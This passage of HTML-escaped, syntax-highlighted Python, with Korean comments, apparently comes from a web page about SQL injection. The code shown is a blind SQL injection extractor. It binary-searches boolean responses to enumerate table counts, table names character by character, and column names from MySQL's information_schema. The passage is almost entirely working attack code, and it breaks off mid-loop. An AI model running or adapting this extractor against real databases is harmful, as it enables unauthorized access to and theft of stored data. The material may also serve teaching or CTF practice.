class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT table_name FROM information_schema.tables WHERE table_schema=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 1. TABLE 개수 구하기 (COUNT, 이진 탐색) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(SELECT DATABASE())&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(SELECT DATABASE())&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;db_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;db_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[-] No tables found&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Table count: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_count&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2. 각 테이블 순회 (LIMIT 1 OFFSET i) &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; LIMIT 1 OFFSET &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2-1. 테이블 이름 길이 (이진 탐색) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(SELECT LENGTH((&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;))) &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[-] Could not determine table[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;] length&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2-2. 각 문자 추출 (범위 체크 + 이진 탐색) &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ORD(SUBSTR((&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,1))&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;extract_ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ord_to_char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[ORD:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Table[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; (len=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_len&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Found &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; tables: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;blindsql_attack_column&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; select column_name from information_schema.columns where table_name = &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 컬럼 조회 서브쿼리 (LIMIT, OFFSET으로 각 컬럼 선택) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT column_name FROM information_schema.columns WHERE table_name=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count_query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;SELECT COUNT(*) FROM information_schema.columns WHERE table_name=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 1. COLUMN 개수 구하기 (COUNT, 이진 탐색) &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;) &amp;gt; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;high&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;low&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[-] No columns found in table &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Column count in &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_count&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2. 각 컬럼 순회 (LIMIT 1 OFFSET i) &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; 